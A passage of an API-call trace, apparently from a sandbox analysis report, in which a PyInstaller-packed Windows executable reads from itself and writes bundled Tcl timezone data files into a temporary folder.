lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.642] htonl (hostlong=0xb3000000) returned 0xb3 [0043.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x560830 [0043.642] htonl (hostlong=0x8a000000) returned 0x8a [0043.642] htonl (hostlong=0xb3000000) returned 0xb3 [0043.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.643] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.643] CloseHandle (hObject=0x10c) returned 1 [0043.643] GetLastError () returned 0x0 [0043.643] SetLastError (dwErrCode=0x0) [0043.643] GetLastError () returned 0x0 [0043.643] SetLastError (dwErrCode=0x0) [0043.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.643] GetFileType (hFile=0x10c) returned 0x1 [0043.643] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.643] CloseHandle (hObject=0x10c) returned 1 [0043.643] GetLastError () returned 0x0 [0043.643] SetLastError (dwErrCode=0x0) [0043.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.644] GetFileType (hFile=0x10c) returned 0x1 [0043.644] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.644] CloseHandle (hObject=0x10c) returned 1 [0043.644] GetLastError () returned 0x0 [0043.644] SetLastError (dwErrCode=0x0) [0043.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.644] GetFileType (hFile=0x10c) returned 0x1 [0043.644] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.645] CloseHandle (hObject=0x10c) returned 1 [0043.645] GetLastError () returned 0x0 [0043.645] SetLastError (dwErrCode=0x0) [0043.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central") returned 67 [0043.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\central"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.645] GetLastError () returned 0x2 [0043.645] SetLastError (dwErrCode=0x2) [0043.645] GetLastError () returned 0x2 [0043.645] SetLastError (dwErrCode=0x2) [0043.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central", lpFilePart=0x0) returned 0x42 [0043.645] GetLastError () returned 0x2 [0043.645] SetLastError (dwErrCode=0x2) [0043.645] GetLastError () returned 0x2 [0043.645] SetLastError (dwErrCode=0x2) [0043.645] GetLastError () returned 0x2 [0043.645] SetLastError (dwErrCode=0x2) [0043.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central") returned 67 [0043.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Central" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\central"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.645] GetFileType (hFile=0x10c) returned 0x1 [0043.646] htonl (hostlong=0xb3000000) returned 0xb3 [0043.646] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.646] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0043.646] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.646] CloseHandle (hObject=0x10c) returned 1 [0043.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560830 | out: hHeap=0x530000) returned 1 [0043.647] htonl (hostlong=0x30000000) returned 0x30 [0043.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.647] GetFileType (hFile=0x10c) returned 0x1 [0043.647] htonl (hostlong=0x5f355d00) returned 0x5d355f [0043.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e55f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.647] htonl (hostlong=0x90000000) returned 0x90 [0043.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0043.647] htonl (hostlong=0x90000000) returned 0x90 [0043.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.647] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.647] htonl (hostlong=0xdf000000) returned 0xdf [0043.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdf) returned 0x550600 [0043.647] htonl (hostlong=0x90000000) returned 0x90 [0043.647] htonl (hostlong=0xdf000000) returned 0xdf [0043.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.647] CloseHandle (hObject=0x10c) returned 1 [0043.647] GetLastError () returned 0x0 [0043.647] SetLastError (dwErrCode=0x0) [0043.647] GetLastError () returned 0x0 [0043.648] SetLastError (dwErrCode=0x0) [0043.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.648] GetFileType (hFile=0x10c) returned 0x1 [0043.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.648] CloseHandle (hObject=0x10c) returned 1 [0043.648] GetLastError () returned 0x0 [0043.648] SetLastError (dwErrCode=0x0) [0043.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.648] GetFileType (hFile=0x10c) returned 0x1 [0043.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.649] CloseHandle (hObject=0x10c) returned 1 [0043.649] GetLastError () returned 0x0 [0043.649] SetLastError (dwErrCode=0x0) [0043.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.649] GetFileType (hFile=0x10c) returned 0x1 [0043.649] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.649] CloseHandle (hObject=0x10c) returned 1 [0043.649] GetLastError () returned 0x0 [0043.649] SetLastError (dwErrCode=0x0) [0043.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana") returned 72 [0043.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\east-indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.649] GetLastError () returned 0x2 [0043.650] SetLastError (dwErrCode=0x2) [0043.650] GetLastError () returned 0x2 [0043.650] SetLastError (dwErrCode=0x2) [0043.650] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana", lpFilePart=0x0) returned 0x47 [0043.650] GetLastError () returned 0x2 [0043.650] SetLastError (dwErrCode=0x2) [0043.650] GetLastError () returned 0x2 [0043.650] SetLastError (dwErrCode=0x2) [0043.650] GetLastError () returned 0x2 [0043.650] SetLastError (dwErrCode=0x2) [0043.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana") returned 72 [0043.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\East-Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\east-indiana"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.650] GetFileType (hFile=0x10c) returned 0x1 [0043.650] htonl (hostlong=0xdf000000) returned 0xdf [0043.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.650] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xdf, lpOverlapped=0x0) returned 1 [0043.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.651] CloseHandle (hObject=0x10c) returned 1 [0043.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.651] htonl (hostlong=0x30000000) returned 0x30 [0043.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.651] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.651] GetFileType (hFile=0x10c) returned 0x1 [0043.651] htonl (hostlong=0xef355d00) returned 0x5d35ef [0043.652] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.652] htonl (hostlong=0x8e000000) returned 0x8e [0043.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0043.652] htonl (hostlong=0x8e000000) returned 0x8e [0043.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.652] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.652] htonl (hostlong=0xb6000000) returned 0xb6 [0043.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb6) returned 0x560ef0 [0043.652] htonl (hostlong=0x8e000000) returned 0x8e [0043.652] htonl (hostlong=0xb6000000) returned 0xb6 [0043.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.652] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.652] CloseHandle (hObject=0x10c) returned 1 [0043.652] GetLastError () returned 0x0 [0043.652] SetLastError (dwErrCode=0x0) [0043.652] GetLastError () returned 0x0 [0043.652] SetLastError (dwErrCode=0x0) [0043.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 